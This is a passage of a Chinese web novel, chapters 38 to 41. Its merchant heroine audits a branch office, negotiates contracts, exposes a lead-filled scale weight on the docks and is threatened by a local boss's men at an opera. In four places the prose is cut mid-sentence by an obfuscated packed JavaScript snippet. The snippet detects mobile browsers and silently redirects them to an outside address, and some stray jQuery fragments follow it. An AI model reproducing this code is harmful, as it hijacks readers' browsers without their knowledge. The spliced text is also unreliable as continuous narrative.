温麟趾进了院。 他换了一身干净的青衫,腰间悬着熟悉的刀,整个人像被清晨的雾水洗过一遍,连眉眼都更利落许多。 “小姐。”他停在台阶下,声音比昨夜平缓许多,不再总是带着一股冷气:“睡得可好?” “睡得好。”辛圭抬头,看见他眼底那一圈淡淡的青:“你呢?” “也好。”温麟趾只淡淡两字,不肯承认自己也是半宿未眠:“今日临余分号有三桩事:码头的货,城东木行的对账,还有柳掌柜说,要请小姐验一验她新谈的几家字号。” 方启星把水桶搁下,插嘴道:“去码头我去就行了,你把她留在分号里吹桂花香。” “验货是小姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938376|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事。”温麟趾想起昨晚柳掌柜说的,毫不让步:“我去码头,你随便。” 他想起循环中她的那些遭遇,如今突然觉得那并非是她的问题。只是涉世不深,被人骗了。多走走商路,多见见人,或许就不会再遇到那些腌臜事儿了。 毕竟他看到的、接触的李成圭,绝对不是什么性格古怪、嚣张跋扈、强抢民男的公主殿下,而是一个小兔子一般柔软,心思细腻,会为柿子鸣不平,为为单独的人而驻足甚至犯险的傻姑娘。 “都去。”辛圭被他们一左一右地把自己当棋子分配,忍不住出声:“我在临余也要学习验货,不能只待在院里。” 两人一起闭嘴。 方启星挠挠头:“那……那我帮你提东西。” 温麟趾点头:“路上人多,我负责安全。” 话一出口,两个人都愣了一下。他们各自退了一步,把中间的位置空出来。 辛圭站在中间,突然觉得这两个人似乎变了。不再是之前针锋相对的样子,而是有了默契。 对于这一点,她很满意,这代表着这个队伍开始趋于稳定和完善了。 【长随测试记录·补充: 标签:样本004和样本005趋于和谐。 备注:适当的时候要展示出大小姐的威严,当然,也要适当安抚和鼓励。】 她笑着对两人说:“干完活之后,咱们一起去买糖人。哦,对了,温子修不喜欢吃糖,那我们带他去买炸响铃。” 吃早饭时,柳掌柜准点出现,她眼尾带笑,一看就是睡得极好:“小姐睡得可还惯?” 辛圭点头:“房间很好,院子也很好。” “那就好。”柳掌柜亲热地在她身边坐下,给她夹了一块桂花年糕:“你喜欢甜,厨房里这两天就多做些。别客气,吃不完就叫他们打包带路上吃。” 她嘴上说吃喝,眼角余光却把打量着方启星和温麟趾——一个低头喝粥,一个慢条斯理地剥鸡蛋,都是一副若无其事的模样。 看来有些话,还是能说到人心里去。只不过明白是一码事儿,实际行动起来就又是另外一码事儿了。 年糕软软糯糯,桂花香气被热气一冲,上来得很快。辛圭咬了一口,发出了“嗯——”的一声赞叹。 【新世界饮食观察018:桂花年糕, 备注:光忆星用积分做为正向反馈,新世界使用食物。从能量转化效率看,新世界的正向反馈更为直接、明确、有效。】 恰在此时,外院传来脚步声,有个伙计进来说道:“外面有个叫陈砚月的,说是来找小姐,送点心的。” 柳掌柜眼睛一亮,这不正是看看行动的好时机?她往旁边挪了挪,像是在给主角腾位置:“小姐,昨日被救的那位小公子来了。” 方启星原本还在端碗,听见人来,动作一顿,眼睛微微眯起。 温麟趾则放下手里的东西,不动声色地看向门外。 辛圭嚼着嘴里的桂花年糕,咽下后说道:“嗯,问问他有没有吃早饭,要是没吃,一起吃好了。这么多,会浪费的。” 39. 第 39 章 柳掌柜听见辛圭这般说,挥手让伙计去情人:“把陈公子请进来,大清早的,可别让人家站在露水里,到时候说咱们成记行规矩大,心眼小。” 不多时,陈砚月进了外院。 他换了身素净的青衣,衬得那张脸更显清朗,像被晨露洗过的玉。怀里抱着食盒,走路也轻,像怕惊扰这满院的桂花清幽。 一见辛圭,他先行礼,礼数周全得叫人挑不出刺:“昨夜多谢小姐,小生今日来得唐突,是送班里自做的桂花糕,当作谢意。” 他把食盒往前递,同时转向温麟趾和方启星,又补了一句:“两位长随昨夜也护得及时,是我该谢之人。这食盒分了三层,都是一样的,不偏不倚。” 人有规矩,旁人便不好发作。 方启星的眉梢松了半寸。 温麟趾微微颔首:“临余人杂,你们戏班子行路要当心。” 陈砚月忙应:“是,我们班里也训过,出门在外不惹是非,只是昨夜那人……” 辛圭接过食盒,冲他笑:“谢谢。是你们班自己做的,我一定好好吃。” 陈砚月耳朵一点点红起来,低声说道:“小姐要是喜欢,我明日也可以再……不,如果小姐忙,我就不来打扰。” “忙。”辛圭干脆利落地回道,陈砚月脸色有些发白。 辛圭又补充道:“但是我可以把你的点心当做午后补充,这样就不算打扰,算是补充体力。对了,这么早就来,你可吃过饭了?要是没吃过,和我们一道吃。” “吃过了,多谢小姐。”陈砚月被她说得心头发烫,又不敢再多看,便把目光放到略远处的多宝架上,“临余的桂花好,甜得清,可惜我们戏班子下个月要往南走。” “要去岭南?”方启星终于开口,语气平平,不再带刺。 “是。” 方启星略一思忖:“你们班里要进城演出、要过码头、要租场子,我可以给你指几条路,省得你被人拿捏。” 陈砚月一愣,他没想到这位长随竟然会主动提出帮助。 辛圭也看了方启星一眼。 方启星就像没看见,埋头咬了口年糕,心里想得却是:给你行了这么大的方便,快走,可别纠缠上我们不放。 “好。”陈砚月当即又行一礼,“多谢。小生不敢占便宜,日后班里若有小场,可给成记行留两张好座。” 柳掌柜听见这个,把话头接过来:“哎呀,这就对了。人情往来,能落到实处的才算数。小姐到时候忙得头大,也需要听一段舒心的。” “对了。”辛圭开头:“昨晚的玉簪,我不知道它的含义,冒然收下,今日应当还给你。” 陈砚月连忙解释:“是,昨晚回去我也觉得送玉簪似乎让人误会。但只是因为我受小姐照顾是在唱《玉簪记》的时候,并没有其他意思。那玉簪,小姐若是不方便戴,也无妨。我只是觉得兔子好,才刻的,怎知反倒让小姐为难了。” 他说得轻巧,将示好藏进为难,反倒让人收得下了。 柳掌柜见状,拍了拍手:“行了,谢也谢了,点心也送了。陈公子回去吧,小姐今日要看账、要见人,还要跑码头,你若是真心疼她,就别让她分心。” 陈砚月被“真心疼她”四个字一击,脸更红,忙说:“是,那我告辞了。” 辛圭看着他的背影,忽然觉得,临余的风确实很软,从不逼人。 吃过早饭,辛圭对刘掌柜说:“看账吧。” 柳掌柜笑眯眯点头,转身让人把账册搬进来,又将两张名帖放到辛圭面前:“这是今日要见的两家,一个是‘临余米行’的张东家,一个是‘金玉绸缎铺’的沈掌柜。欠着要谈明年的米价和仓储,候着要谈年末的布料进货。小姐先看账,再见人,心里有数才好开口。” 辛圭翻开账册。临余分号的账目十分干净,虽然和商州、总号的誊抄方式相同,但多了几分细腻,大抵是因为柳掌柜的缘故。 她看着看着,眉心微微一动:“这比水路消耗比往年高。” 柳掌柜叹气:“今年秋天的水大,北方又旱,船队绕行,货在路上久了,损耗自然高。再加上淮南那头的码头换了人,杂费也变多。” 方启星在旁尽职尽责地看着账本,听见码头换人,忽然开口:“换的是谁?是不是姓钱?” 柳掌柜:“你怎么知道?确实姓钱。” 方启星点头,语气笃定:“那就对了。钱三爷最会在杂费上做文章。船过一趟要看水钱,货落地要看秤钱,连搬货的伙计喝口水都能算进账里。你们若是不懂他们的门道,越讲理越吃亏。” 柳掌柜瞪大眼睛:“你小子……还真不是只会拌嘴。” 方启星别开脸:“小姐昨夜特地嘱咐我的,要帮她看账。” 辛圭:“都忘了你原本就是淮南人,你怎么知道的?” 方启星笑了一下,带出他独特的那股少年气:“早些年我看着钱三爷不仅收看秤钱,还换了秤砣,里面掺了铅,重得不正常。我被坑一次,下一次就记住了。” 说完,他低声嘀咕:“怎么这么多年过去了,又换了他来码头?不应该啊。” 温麟趾在旁边听着,已经把今日的行程规制好:“我去码头看看,你们在分号先见张东家和沈掌柜。” 柳掌柜连连点头:“这就叫分工。” 她又看辛圭,笑得意味深长:“小姐看见没有?男人嘛,能用就用,可千万别把他们当成宝贝似的供着。他们要是自己有心,自然会把自己磨成趁手的刀和架好的桥。” 辛圭认真地把这句话记在心里,不动声色地点头:“明白,是可用资源。” 方启星:“……” 温麟趾:“……” 柳掌柜心满意足,这刀和桥都已经自己磨起来了,小姐却还不急,那就更好。 上午的会客在前厅。张东家是个圆脸富态的中年人,一进门先拱手,笑着说:“听闻这次是成记行的小姐来谈,今日一见,果然精神。” 辛圭回礼,但不急着和对方奉承,先把账册放在桌上:“张东家请坐。今日谈米价和仓储,我先问一句:你们今年仓里余量多少?能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943257|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 供到几月?” 张东家原本见她年纪轻,没想到一开口对方就抓底,比柳掌柜还要直接,笑容僵了半寸:“小姐这是……要做大买卖?” “做稳买卖。”辛圭说道:“今年的水运情况如何,想必张东家也清楚。若是你们仓储不足,却给我们报了大数,货就会断在路上。这不仅是你们的损失,也是成记行的信誉损失。” 这句话落下去,前厅的空气便稳住了,柳掌柜在旁暗暗点头,小姐在谈生意的时候,还是有几把刷子的。 张东家坐直了些,说道:“咱们本来就是多年的交情,你给我托底,我自然也要和你们报个实数。” 张东家走了没多久,外面又有人来报:沈掌柜来了。 方启星听闻,走到辛圭旁边低声说道:“京城总行的账本上反应,去年年末金玉绸缎铺的货有问题,一批茶色的布料有掉色的情况。” 辛圭惊讶地看着他:“这你都记得?” 方启星笑笑:“你在京城看账本的时候,我也在看。你当时看得着急,不一定事事都能记下来,我就着重把要来的几个分号相关账簿看了,以防万一。” 辛圭冲他重重地点头:“方启星,你太厉害了!” 方启星退回到自己的位置上,但辛圭感觉到他情绪场里的那颗小星星在熠熠生辉。 沈掌柜是个精瘦女人,眼神很是锋利,坐下第一句就开价,开得漂亮,一如他们金玉绸缎铺的绸子,摸起来滑,背后却是一针针绣出来的。 辛圭听完,没急着反驳,反倒问:“你们今年用的染料,是哪家供的?” 沈掌柜一笑:“怎么?成记行也想要坐染料生意了?” “不是。”辛圭坦荡:“但据我所知,去年金玉绸缎铺的货有掉色的情况。成记行卖布,不仅是卖颜色,也是卖不掉色的承诺。你若是染料不稳,年底又要赶货,最容易出事儿。” 沈掌柜沉默两息,终于露出一点真笑:“行,价格我可以让一成,保证绝不掉色,但你们要付现银,不赊。” 辛圭趁着抿桂花糖水的功夫,看了眼方启星。方启星轻轻摇头。 辛圭:“让一成半,现银付一半。剩下的一半,要货到验色再付。沈掌柜要是真有底气,这条件并不亏。” 沈掌柜盯着她看了半晌,忽然笑出声:“小姐这嘴,看着桂花蜜似的,实则狠着呢。行,我们金玉绸缎铺,必然给成记行出最好的货。” 她说着,瞥了一眼柳掌柜:“你们这成记行,多大的福气,哪像我们铺子的那位少爷,每天不知道在干什么。” 柳掌柜得意的笑,她平日和沈掌柜最不对付,尤其是因为去年的货闹得不怎么好看。这沈掌柜又是出了名的难啃,能让这么多确实意外。 方启星帮辛圭倒了糖水,低声说:“不能喝太甜,到时候嗓子会不舒服。” 沈掌柜眼神一转,笑道:“成记行的小姐,好福气,谈着买卖还有人关心着,这日子,比我舒坦。” 辛圭笑了一下,并非客气:“我的长随,用处可不仅仅是倒糖水。” 40. 第 40 章 沈掌柜闻言,笑得更真了些:“那我就不久坐了,让他们拟了合约再拿来,告辞。”她起身时又看了眼方启星,颇为意味深长地说道:“小姐的这位长随,眼力不错,倒像是走过江湖的。” 方启星把水壶搁下,语气不咸不淡:“走路多了,自然不会瞎。” 沈掌柜一走,前厅便空了下来,柳掌柜走到辛圭身旁,拍了拍她的手:“小姐今日这两场谈得好,先问底,再落规矩,不讨好,也不急着翻脸。做买卖就是这样,嘴里是蜜,但是底下得备好钉子。” 名帖轻薄,熨帖地落在桌上。 辛圭指尖轻轻压在上面,像是压住了一小张奖状,还有些被夸奖后的羞赧:“我只是觉得,人喜欢含糊,但更多的人会把含糊当做善意。” 柳掌柜点点头:“是这个理儿,总有人把你的善意当成可以冒犯的理由。咱们行商的姑娘,心里有杆秤是好事儿。” 方启星清了清嗓子,此刻极为规矩,说道:“若是一会儿要去码头,麻烦柳掌柜把去年的水路票据、杂费条目都备一份儿。成记行生意中很大一部分靠运输,成圭要学,就该学全。” 柳掌柜当即抬手:“哎,你这话说的有样子,像个老学究先生似的。”她吩咐伙计:“去,给小姐把‘码头规矩’也搬出来看看,别到时候让人几句行话就把我们绕进去。” 伙计们应声而去,书册与票据很快就堆满了案几,辛圭一边翻一边询问方启星。 日头越来越高,阳光从窗棱里照进屋内,洒在两个人的脸庞上,柳掌柜轻手轻脚地补了茶汤。 “这里……落地水钱是什么?”辛圭突然问道。 柳掌柜叹了口气:“临余本地是没有这项的,如今淮南的码头上多了规矩。叫人不舒服,可淮南远,沟通不畅,一次两次没法子一口推翻。这年前时候,淮南码头有人跟船来,小姐正巧可以去见见。” 方启星指尖点在那行字上,轻声说道:“谁拿着刀站得高,谁就能立规矩。” 辛圭默默地记录着: 【新世界环境手册·淮南码头 1.规矩常常被用来包装利益。 2.费用项越多,说明对方在靠缝隙吸血。】 午后,因为成记行有货要到,辛圭和方启星便前往码头,温麟趾早已等待。 临余的码头不像商州那样压抑,临江而开,木桩上还挂着几串半干的渔网,阳光一照,网眼里像兜了碎碎的金银。江面上船来船往,橹声挤着人声,热闹得很。 辛圭第一次站在这种流动感很强的码头,眼睛微亮,她不自觉地往前走了两步,又被温麟趾不动声色的挡回半步。 “人杂。”温麟趾低声提醒:“你要看,我们一起,别自己走过去。” 方启星抬手将她袖口理了理,动作很快:“别走散,你要学行商,要先学怎么不吃亏。” “怎么学?”辛圭问。 方启星抬下巴示意前方:“看他们怎么让你吃亏。” 前面一排摊棚下,成记行的货船刚靠岸,伙计带人搬货,可还没搬两趟,几个穿短褂的男人就从船上跳下来。领头的那人不胖不瘦,笑得热络:“怎么样,咱们淮南的船,稳当得很。” 成记行的伙计抹了把灰,回道:“是,多亏了钱三爷的货运。” “可不就是。”短褂男人笑着,一只手搭上的货箱,道:“那这加急费、秤钱、茶水钱一并结了吧。” 伙计愣住:“我们临余码头哪儿来的这三样?再者,我们并未加急,只是按照原先定的时间出发而已。” 那人笑得更活:“临余码头是没有,但淮南码头有啊。再说了,规矩是活的。” 这句话落地,周围几个搬货的脚夫都停了手里的活,等着成记行伙计的反应。 辛圭站在温麟趾身侧,没急着往前冲,只把目光从那只搭在货箱上的手,慢慢挪到了对方的脸上。 短褂男人招了招手,身后的人立刻把一张纸条递上来,上面密密麻麻写着各种费用,末尾还盖了个红印,印泥新鲜得发亮。 “这是淮南的条子吧。”辛圭走了上去,语气平平:“货落在临余,你拿淮南的条子来收钱,是哪家的规矩?” 短褂男人笑:“说得对,可船是从淮南来的。押船、过关、走水路的辛苦都是淮南,咱们做的就是这份劳力钱。况且钱三爷的船,谁不知道快?你们要是再争,咱们大不了回去。到时候耽误了卸货,成记行过年关岂不是更为难?” 方启星在旁听着,忽然笑了一声。 短褂男人转头:“这位小爷笑什么?” 方启星把袖口一挽,语气不咸不淡:“笑你话术老,表面上听起来都是为人好,自己吃亏,可实际上就是‘你不付就是不懂事’。你这套哄得了小掌柜,却骗不了成记行。” 短褂男人脸色微变,扔强撑着笑意:“小爷你这话可就重了,我们是正经生意,哪里来的哄骗一说?” “正经?”方启星上前一步:“既然你说是正经声音,那咱们把加急二字说清楚。加的是哪一段路?加的是哪一桩人手?何时加的?谁开口加的?有无双方画押?” 短褂男人抿了下唇:“都写在条子上,请看。” “条子,是你们写的。”方启星语气冷了半分:“而我问的是‘凭据’。还有,船是谁押的?货是谁点的?若想收钱,就把押船的、点货的、掌秤的都叫出来。” 短褂男人被他盯得心里发毛,嘴硬道:“你们这是仗势欺人。淮南的船,到了临余就收不了银子,以后谁还给你们运货?难不成因为成记行店大,就能欺负人不成?” 辛圭终于动了。 她往前半步,挡在两人的话锋之间:这“不叫仗势,叫对账。” 她抬手,示意自家伙计把账簿翻开,翻到今日这一页,又让人把船单、路引都摆出来。 “淮南码头钱三爷有自己的规矩,我们成记行也有自己的出账规矩。你说加急费,那就应该对应一件‘加急的事’。你说秤钱,那就应该有一杆公开的秤。你说茶水钱,那就应该有喝水的人。”她说完,停顿了一下,补道:“若是没有,那就只是你想要银子。” 方启星在旁捅刀子:“说不准是你自己想要银子,钱三爷却没有这种想法。” 短褂男人脸上的笑终于挂不住了,目光在辛圭、温麟趾、方启星三人之间来回扫,似乎在寻找一个可以下嘴的弱处。 可辛圭不躲,温麟趾不退,方启星更像是等他出丑。 短褂男人咬牙:“行。既然小姐这么讲究,那我也讲究。加急费先不提,秤钱总要结吧?淮南那边卸货上秤,我们的人是出了力的。” “秤呢?”辛圭问。 短褂男人抬手一挥:“我们是在淮南称的。” “既然如此,那我们在这里用自己的秤再过一遍。”温麟趾声音很低,却没有商量的余地。 短褂男人一时骑虎难下,他心知自己家的秤有问题,但往常商号因为急着赶货,再加上淮南码头被他们垄断,便只能睁一只眼闭一只眼。如今大庭广众之下,这岂非是打自己的脸? 他咬牙:“不必,船上有秤。” 方启星对辛圭低声说:“让他当众验。” 辛圭点头:“既然如此,那就请将秤搬出来,我们就此称过。” 周围看热闹的人越来越多,脚夫们也围上来,有些往日里也是被钱三爷坑了的商号,干脆喊:“现场称!” 短褂男人被推到台面上,只能硬着头皮让人搬出秤、掏出秤砣。可他越掏越慢,像是恨不得把那秤砣藏回肚子里。 方启星忽然伸手,快得像在河中捞鱼,一把把秤砣夺了过来,抛在掌心掂了掂。 “重。”他只说了一个字。 短褂男人怒道:“你别乱说!” 方启星把秤砣往地上猛地一砸,“当”的一声闷响,秤砣裂开一道细缝,里面露出一块灰白的东西。 围观的人“哗”地炸了。 “掺铅!果然掺铅!” “坑人啊!” “我就说每回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951980|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上秤都不对!他们非要说我的秤有问题,还诬陷我回去偷偷卸货。” 短褂男人脸色青白交错,伸手就要抢秤砣,温麟趾动作更快,抬手便将他按得动弹不得。 “别动。让大家看清楚。”温麟趾声音平淡。 短褂男人挣不开,恼羞成怒,吼道:“你们成记行要断我们钱三爷的路?你们知道不知道淮南码头就是钱三爷说了算,日后你们是不打算和淮南做生意了吗?” 辛圭看他,眼神冷清:“你们钱三爷的路,是靠掺铅铺出来的?” 短褂男人被噎住。 辛圭转头对自家伙计道:“把秤砣封起来,记下今日的事。秤钱不结、加急不结。至于茶水钱……” 她看向周围脚夫,声音放软了些:“搬货的人辛苦,水要喝。成记行愿意出这份钱,但直接给脚夫,按趟结,不经过任何中间人的手。” 脚夫们一听还有这样的好事,眼睛都亮了,纷纷应声。 短褂男人急得跳脚:“你这是坏规矩!” “坏的是你。”辛圭摇头:“不是规矩。” 短褂男人盯着辛圭,眼里闪过一丝狠意:“你等着!成记行等着!” 辛圭回视他,并不害怕,只是在心里默默记下: 【新世界环境手册·补充 注意:对方在众目睽睽下被揭穿把戏,“丢脸”可能会转化为“报复动机”。】 事了,货顺利卸完。 回分号的路上,临余的风依旧软,江水也依旧亮闪闪的。 柳掌柜已经听到消息,正站在门口等她,一见面就快步上前:“小姐今日辛苦了,只是日后……临余最受淮南影响,怕是生意要闹翻。” 辛圭安抚柳掌柜说:“我们接下去就要去淮南。一来是这位钱三爷要见,二来是淮南分号的掌柜为何不妥善处理这件事儿,反倒扔到了临余,也要问问。” 柳掌柜点头,她又瞥方启星一眼,语气带着玩笑:“你倒真像走过江湖。” 方启星别开脸,嘴上还硬:“我只是讨厌被坑。” 辛圭却很认真地看着他:“但你让我没被坑。” 方启星喉结动了动,小声说道:“昨夜答应了你的,我就能做到。” 辛圭觉得他脸有点红,便体贴地不追问,转头对柳掌柜道:“倒是我这么一闹,恐怕给柳姐姐添了麻烦。” 柳掌柜笑意微收,点头:“这事儿不是小姐的错,早晚都要掰扯清楚的。” 温麟趾看了眼街口:“淮南那边来船的人,敢在临余动手脚,背后肯定有人撑腰。咱们要去淮南,路上要是需得谨慎。” 柳掌柜轻轻拍了拍辛圭的背,像给她渡了一口气:“谨慎归谨慎,但小姐做得对,千万别把自己缩成一团。你是来学的,不是来怕的。再说了,”她笑得意味深长:“男人的脸色也别太当回事,不管是钱三爷,还是长随伙计。” 方启星:“……” 温麟趾:“……” 这时,外院的伙计来报:“小姐,玉春班送来一包热年糕,还压着四张戏票,说是谢礼。” 辛圭一愣:“年糕?” 她想起早晨那块桂花年糕,软糯可口,像是把人也揉了一揉,什么难过的事儿都能软下来。她接过纸包,热气透过纸传递到掌心,像个小小的手炉。 方启星接过年糕,挑了最不黏手的一块递到辛圭面前:“趁热吃,凉了就硬起来了。” 他做得很自然,落实着昨晚那句“我会让你开心”。 辛圭咬了一口,抬眼看向两人,语气笃定:“淮南要去。但去之前,临余分号的账要收尾,条款要拟好,码头的票据要整理成案。”她停了停,又补了一句:“等忙完,我们去听戏。” 柳掌柜笑得眉眼弯弯:“这就对了。该硬的时候硬,该甜的时候甜。” 辛圭又吃了一口年糕,想了想,记录: 【实验手册·新世界感官记录019: 坦然接受他人的好。不是所有的往来都有道理和交换。】 41. 第 41 章 接下来的几日,辛圭都在临余分号。 她把关于码头的票据整理成册,又将成记行与沈掌柜、张东家的条款都拟好,还跟着柳掌柜走了一圈城内的几家老铺子,算是十分顺利地将临余摸清了。 自打那日夜里谈话之后,方启星便格外认真,不仅帮着核对账目,还主动把淮南码头的门道一一讲给辛圭听。 他说话的时候眉飞色舞,偶尔还会夹杂几句江湖黑话,绘声绘色的模样让辛圭大受震撼,感觉方启星没去写话本子或是说书人,实在是可惜可惜了。 "钱三爷这人,早年间其实是个跑船的,后来不知道攀上了谁,一跃成了淮南码头的地头蛇。"方启星一边说,一边用手指蘸着茶水在桌上画图:"他最爱干的事儿就是吃两头——跟商号收杂费,跟脚夫克扣工钱。谁要是不从,货就会意外落水。" 辛圭认真地记下: 【新世界环境手册·淮南码头 地头蛇:垄断资源,制造恐惧,让人不敢反抗。 结论:所谓意外,往往是人为。】 温麟趾坐在一旁,听着方启星说完,淡淡补了一句:"所以这次码头的事,他不会善罢甘休。" 方启星撇嘴:"其实早些年,他因为不正经做生意,早就被赶出了淮南码头,也不知道现在是什么情况。但你们放心,淮南我可是太熟了,任他怎么翻腾,也翻腾不出咱们的掌心。" "不急。"辛圭把账册合上:"先把临余的事办完。今晚,我们去听戏。" ## 傍晚时分,玉春班的戏台子已经搭好了。 这回不在河边,而是在城东的一处茶楼里。据说是有人点戏,点的是一出《牡丹亭》,整整三折。 辛圭三人连带柳掌柜一同去了茶馆,柳掌柜笑眯眯的:“那陈砚月今儿唱的是杜丽娘,小姐可得好好看。” 辛圭点头:"杜丽娘是谁?" 方启星抢答:"杜丽娘是《牡丹亭》里的女主,因梦生情,为情而死,又因情复生。" 温麟趾瞥他一眼:"你倒是懂。" "我娘爱听戏。"方启星难得没有反呛,只是声音低了些:"小时候她常带我去。" 辛圭看了他一眼,感觉到他的情绪场里的小星星暗淡了些,摇摇欲坠,像是要被风吹灭的烛火。 她没有追问,只是默默记录:【观察:提及“母亲”时,样本005出现停顿与回避。推测:此话题带来疼痛。】 她接着说:"那你给我讲讲,杜丽娘为什么会在梦里爱上一个人?" 方启星愣了一下,然后笑了:"因为梦里没有规矩。" 陈砚月送来的票位于茶楼二层的雅座,视野极好,正对着戏台。 台上锣鼓一响,帷幕拉开。 陈砚月一身粉白衣裳,头上戴着珠翠,妆容比那晚在河边更为精致。他一出场,台下便有人叫好。 "好一个杜丽娘!" 辛圭看着他,忽然想起第一次见面时,他跳下戏台的样子——像一只蝴蝶,翩然而落。 如今再看,蝴蝶已然长成,翅膀上的花纹愈发鲜明美丽。 戏唱到"游园惊梦"一折,陈砚月的唱腔婉转悠扬,身段轻盈,每一个动作都像是在水面上作画。 "原来姹紫嫣红开遍,似这般都付与断井颓垣。" 辛圭听得入神,手里的茶盏都忘了放下。 这个世界的人,真的会因为一个梦,就爱上一个人吗? 而在光忆星,梦是不存在的。她正是因为做了一个梦,而被扔到了这个世界。 她曾经也仔细思考过这个问题,为什么光忆星没有梦。 如果梦境是睡眠中大脑的无规则放电,那代表梦是无意义的东西,至少以光忆星的准则来说应当是如此。 而没有意义的东西,在很多时刻会带来不必要的麻烦,或许这就是光忆星没有梦的缘故? 可此刻,辛圭看着台上的杜丽娘,忽然觉得,或许有些东西,并不需要意义。 茶馆沉浸在陈砚月的唱段之中,楼下忽然起了骚动。温麟趾最先察觉,他微微侧身,挡在辛圭前面。 方启星也站起来,探头往下看:"是码头上的那帮人。" 辛圭顺着他们的目光望去,只见楼下站着七八个短褐男人,为首的正是那日在码头被她当众揭穿的短褂男人。 他们没有闹事,只是找了个角落坐下,眼睛却一直往二楼瞟。 短褂男人端起茶碗,冲辛圭的方向遥遥一举,笑得阴恻恻的。 方启星眯起眼:"好大的胆子,这还是在临余,他就敢明晃晃的告诉我们,他知道我们在哪儿,随时可以动手。" 辛圭没有动,她看着台上的陈砚月:"戏还没唱完。" "他要是想动手,早就动了。"辛圭端起茶盏抿了一口:"他不敢在临余闹事,这里是别人的地盘。他来这儿,只是想让我们知道,去淮南的路不好走。" 她放下茶盏,继续看戏:"所以,先看完戏。" 温麟趾点了点头:“先看戏。” 即便有什么,他也有信心护住辛圭。 戏唱到最后一折,杜丽娘因情复生,与柳梦梅终成眷属。 这时,楼下的短褂男人终于坐不住了。他站起身,大步往二楼走,身后跟着几个手下。 温麟趾微微前倾,随时准备出手。 短褂男人走到辛圭面前,皮笑肉不笑:"成记行的小姐,好雅兴,在这儿听戏呢?" 辛圭抬头看他,表情平静:"你有事?" "没事儿,就是来提醒小姐一句。"短褂男人往前凑了凑,压低声音:"淮南的水深,小姐要是不会游,最好别下去。小姐既然爱听戏,淮南也有戏。只是听不听得完,还要看小姐的命够不够硬。" 辛圭还没开口,方启星忽然笑了一声。笑声不大,却让短褂男人下意识地转过头来。 "钱三爷?"方启星慢悠悠站起来,往前走了一步:"钱老三,今年该有四十七了吧?早年在淮南码头扛活,后来不知怎的搭上了漕帮的线,这才混出了点名堂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962735|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。" 短褂男人脸色一变:"你……你怎么知道?" 方启星没理他,继续说道:"他左脸上有道疤,是二十年前和人抢地盘时落下的。他老娘住在淮南城西的巷子里,每年清明他都会去给自己爹上坟,坟就在城外十里的柳家洼。" 他说得不紧不慢,像是在念一份早就烂熟于心的名册。短褂男人的脸色越来越白。 "你们钱三爷在淮南是地头蛇,但淮南却不是钱老三的地盘,上面还有的是人,你们心里应该有数。"方启星抬起下巴,眼神忽然冷了下来:"回去告诉他,成记行的人不出几日便到淮南,让他把秤砣的事儿想清楚。要是还想在淮南混下去,就别做得太难看。" 短褂男人张了张嘴,像是想说什么,可对上方启星那双眼睛,忽然就说不出话来了。 那眼神,不像是一个长随该有的。 他不敢再想,咬了咬牙,带着手下灰溜溜地下了楼。 茶楼里安静了片刻,方启星若无其事地坐回去,端起茶盏喝了一口。 辛圭看着他,眼睛里满是好奇:"你怎么知道这么多?" "成圭忘了?淮南是我老家。"方启星把茶盏放下,语气轻描淡写:"小时候见过他几回。" 温麟趾看了他一眼,没说话。 但辛圭注意到,方启星说这话的时候,情绪场里有一团很复杂的光,并非提起家乡的骄傲,也不是简单的怀念,更像是一种被压了很久的东西,忽然冒了个头。 柳掌柜在后面看得分明,嘴角微微翘起:这小子……有点东西啊。 陈砚月正在后台卸妆,听见戏班子里的几名乐师一边收拾着乐器,一边嘟囔着: “就在二楼雅座,可千万别闹腾起来。这临余没待几天,麻烦倒是不少。” “我看着他们是冲着那个成记行的小姐去的,怕不是前两天码头闹得那出。” 陈砚月猛地坐直,转头急急问道:“现在?在二楼?” 